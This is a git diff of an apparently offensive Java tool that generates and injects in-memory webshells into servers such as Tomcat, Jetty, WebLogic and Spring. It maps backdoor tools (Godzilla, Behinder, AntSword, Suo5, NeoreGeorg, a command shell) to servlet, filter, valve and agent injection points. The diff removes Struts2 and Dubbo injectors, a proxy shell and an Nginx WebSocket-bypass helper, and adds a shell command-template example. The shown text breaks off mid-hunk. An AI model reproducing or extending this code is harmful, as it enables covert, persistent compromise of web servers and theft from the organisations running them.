import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
@@ -33,11 +31,9 @@ public class ServerFactory {
|
||||
static {
|
||||
register(Server.Tomcat, Tomcat::new);
|
||||
register(Server.Jetty, Jetty::new);
|
||||
register(Server.Jetty5, Jetty5::new);
|
||||
register(Server.Undertow, Undertow::new);
|
||||
register(Server.JBoss, Jboss::new);
|
||||
register(Server.Resin, Resin::new);
|
||||
register(Server.Resin2, Resin2::new);
|
||||
register(Server.WebLogic, WebLogic::new);
|
||||
register(Server.WebSphere, WebSphere::new);
|
||||
register(Server.GlassFish, GlassFish::new);
|
||||
@@ -48,8 +44,6 @@ public class ServerFactory {
|
||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
register(Server.Struts2, Struts2::new);
|
||||
register(Server.Dubbo, Dubbo::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
@@ -64,8 +58,6 @@ public class ServerFactory {
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
@@ -84,9 +76,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
||||
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
|
||||
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
@@ -111,7 +100,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||
.addShellClass(ACTION, BehinderStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
@@ -129,7 +117,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
@@ -145,8 +132,6 @@ public class ServerFactory {
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
@@ -166,9 +151,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruts2Action.class)
|
||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
@@ -194,33 +176,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||
.addShellClass(ACTION, Suo5Struts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||
@@ -245,14 +200,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||
.build());
|
||||
}
|
||||
|
||||
|
||||
@@ -7,14 +7,12 @@ package com.reajason.javaweb.memshell;
|
||||
public class ServerType {
|
||||
public static final String TOMCAT = "Tomcat";
|
||||
public static final String JETTY = "Jetty";
|
||||
public static final String JETTY5 = "Jetty5";
|
||||
public static final String JBOSS_AS = "JBossAS";
|
||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||
public static final String UNDERTOW = "Undertow";
|
||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||
public static final String WILDFLY = "Wildfly";
|
||||
public static final String RESIN = "Resin";
|
||||
public static final String RESIN2 = "Resin2";
|
||||
public static final String GLASSFISH = "Glassfish";
|
||||
public static final String PAYARA = "Payara";
|
||||
public static final String WEBLOGIC = "WebLogic";
|
||||
|
||||
@@ -9,9 +9,7 @@ public class ShellTool {
|
||||
public static final String Behinder = "Behinder";
|
||||
public static final String Command = "Command";
|
||||
public static final String Suo5 = "Suo5";
|
||||
public static final String Suo5v2 = "Suo5v2";
|
||||
public static final String AntSword = "AntSword";
|
||||
public static final String NeoreGeorg = "NeoreGeorg";
|
||||
public static final String Proxy = "Proxy";
|
||||
public static final String Custom = "Custom";
|
||||
}
|
||||
|
||||
@@ -23,11 +23,9 @@ public class ShellToolFactory {
|
||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
||||
}
|
||||
|
||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||
|
||||
@@ -45,13 +45,5 @@ public class ShellType {
|
||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
|
||||
public static final String DUBBO_SERVICE = "DubboService";
|
||||
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
||||
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
||||
}
|
||||
|
||||
@@ -22,18 +22,6 @@ public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String paramName = CommonUtil.getRandomString(8);
|
||||
|
||||
/**
|
||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||
*/
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
|
||||
/**
|
||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||
*/
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
/**
|
||||
* 加密器
|
||||
*/
|
||||
@@ -47,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
|
||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||
|
||||
/**
|
||||
* 命令执行模板,使用 {command} 作为占位符
|
||||
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
|
||||
*/
|
||||
private String template;
|
||||
|
||||
@@ -60,22 +48,6 @@ public class CommandConfig extends ShellToolConfig {
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -91,15 +63,12 @@ public class CommandConfig extends ShellToolConfig {
|
||||
}
|
||||
|
||||
public enum Encryptor {
|
||||
RAW, BASE64, DOUBLE_BASE64;
|
||||
RAW, DOUBLE_BASE64;
|
||||
|
||||
public static Encryptor fromString(String encryptor) {
|
||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||
return DOUBLE_BASE64;
|
||||
}
|
||||
if (encryptor != null && encryptor.equals("BASE64")) {
|
||||
return BASE64;
|
||||
}
|
||||
return RAW;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,44 +16,37 @@ import net.bytebuddy.dynamic.DynamicType;
|
||||
@AllArgsConstructor
|
||||
@Builder(toBuilder = true)
|
||||
public class InjectorConfig {
|
||||
/**
|
||||
* 注入器 Builder
|
||||
*/
|
||||
DynamicType.Builder<?> injectorBuilder;
|
||||
/**
|
||||
* 内存马 Builder
|
||||
*/
|
||||
DynamicType.Builder<?> shellBuilder;
|
||||
/**
|
||||
* 注入器模板类
|
||||
*/
|
||||
private Class<?> injectorClass;
|
||||
|
||||
/**
|
||||
* 注入器类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
|
||||
/**
|
||||
* 辅助类类名
|
||||
*/
|
||||
private String injectorHelperClassName;
|
||||
|
||||
|
||||
/**
|
||||
* 注入访问的地址
|
||||
*/
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
|
||||
/**
|
||||
* 内存马类名
|
||||
*/
|
||||
private String shellClassName;
|
||||
|
||||
/**
|
||||
* 内存马类字节
|
||||
*/
|
||||
private byte[] shellClassBytes;
|
||||
|
||||
/**
|
||||
* 辅助类字节码
|
||||
*/
|
||||
private byte[] helperClassBytes;
|
||||
|
||||
/**
|
||||
* 添加静态代码块调用构造方法初始化
|
||||
*/
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class ProxyConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
|
||||
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||
|
||||
public B headerName(final String headerName) {
|
||||
if (StringUtils.isNotBlank(headerName)) {
|
||||
this.headerName$value = headerName;
|
||||
headerName$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
|
||||
public B headerValue(final String headerValue) {
|
||||
if (StringUtils.isNotBlank(headerValue)) {
|
||||
this.headerValue$value = headerValue;
|
||||
headerValue$set = true;
|
||||
}
|
||||
return self();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -73,18 +73,12 @@ public class ShellConfig {
|
||||
@Builder.Default
|
||||
private boolean lambdaSuffix = false;
|
||||
|
||||
/**
|
||||
* 将 Java EE 转换为 Jakarta EE 类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean jakarta = false;
|
||||
|
||||
public boolean isDebugOff() {
|
||||
return !debug;
|
||||
}
|
||||
|
||||
public boolean isJakarta() {
|
||||
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
||||
return shellType.startsWith(ShellType.JAKARTA);
|
||||
}
|
||||
|
||||
public boolean needByPassJavaModule() {
|
||||
|
||||
@@ -23,14 +23,6 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
protected abstract DynamicType.Builder<?> getBuilder();
|
||||
|
||||
protected int getTargetJreVersion() {
|
||||
return shellConfig.getTargetJreVersion();
|
||||
}
|
||||
|
||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||
return classBytes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
@@ -47,11 +39,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(getTargetJreVersion()));
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
||||
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,10 +7,6 @@ import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.Label;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
@@ -21,7 +17,6 @@ import java.util.Base64;
|
||||
* @since 2025/3/18
|
||||
*/
|
||||
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
|
||||
private boolean containsSubroutines;
|
||||
|
||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||
super(shellConfig, customConfig);
|
||||
@@ -32,7 +27,6 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
||||
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||
ClassReader classReader = new ClassReader(classBytes);
|
||||
containsSubroutines = containsSubroutines(classReader);
|
||||
String className = classReader.getClassName().replace('/', '.');
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(className);
|
||||
@@ -49,38 +43,4 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
|
||||
return new ByteBuddy()
|
||||
.redefine(typeDescription, compoundLocator);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected int getTargetJreVersion() {
|
||||
// Byte Buddy cannot emit a class version newer than Java 5 when the
|
||||
// source bytecode contains legacy jsr/ret subroutines. Keep such
|
||||
// custom classes at Java 5; Java 6+ runtimes can load them as well.
|
||||
return containsSubroutines ? Opcodes.V1_5 : super.getTargetJreVersion();
|
||||
}
|
||||
|
||||
private static boolean containsSubroutines(ClassReader classReader) {
|
||||
final boolean[] found = {false};
|
||||
classReader.accept(new ClassVisitor(Opcodes.ASM9) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
return new MethodVisitor(Opcodes.ASM9) {
|
||||
@Override
|
||||
public void visitJumpInsn(int opcode, Label label) {
|
||||
if (opcode == Opcodes.JSR) {
|
||||
found[0] = true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitVarInsn(int opcode, int var) {
|
||||
if (opcode == Opcodes.RET) {
|
||||
found[0] = true;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
}, ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||
return found[0];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
public class DubboServiceInterfaceHelperGenerator {
|
||||
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
||||
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
||||
.redefine(ShellDubboService.class)
|
||||
.name(interfaceName)
|
||||
.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -49,12 +49,6 @@ public class InjectorGenerator {
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
||||
if (helperClassBytes != null) {
|
||||
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
||||
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
||||
}
|
||||
|
||||
if (shellConfig.needByPassJavaModule()) {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
@@ -17,13 +17,13 @@ public final class ProcessorRegistry {
|
||||
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||
new ListenerBuilderModifier(),
|
||||
new ValveBuilderModifier(),
|
||||
new JakartaBuilderModifier(),
|
||||
new DebugOffBuilderModifier()
|
||||
);
|
||||
|
||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||
new JakartaPostProcessor(),
|
||||
new JettyHandlerPostProcessor(),
|
||||
new ShrinkPostProcessor()
|
||||
new ShrinkPostProcessor(),
|
||||
new JettyHandlerPostProcessor()
|
||||
);
|
||||
|
||||
private ProcessorRegistry() {
|
||||
|
||||
@@ -1,17 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
||||
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
||||
super(shellConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
||||
}
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/12
|
||||
*/
|
||||
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||
|
||||
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||
super(shellConfig, suo5Config);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected DynamicType.Builder<?> getBuilder() {
|
||||
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||
}
|
||||
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
||||
.redefine(Suo5v2.class)
|
||||
.name(CommonUtil.generateClassName())
|
||||
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
||||
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||
.make()) {
|
||||
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
||||
return new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
public class WebSocketByPassHelperGenerator {
|
||||
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||
if (headerPair == null) {
|
||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||
}
|
||||
|
||||
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
||||
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
||||
.redefine(TomcatWsBypassValve.class)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.field(named("headerName")).value(headerPair.getKey())
|
||||
.field(named("headerValue")).value(headerPair.getValue())
|
||||
.name(helperClassName);
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
||||
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
||||
if (shellToolConfig instanceof CommandConfig) {
|
||||
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
||||
} else if (shellToolConfig instanceof GodzillaConfig) {
|
||||
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
||||
} else if (shellToolConfig instanceof ProxyConfig) {
|
||||
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/27
|
||||
*/
|
||||
public class Base64ParamInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||
returnValue = ShellCommonUtil.base64DecodeToString(param);
|
||||
}
|
||||
}
|
||||
@@ -42,17 +42,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
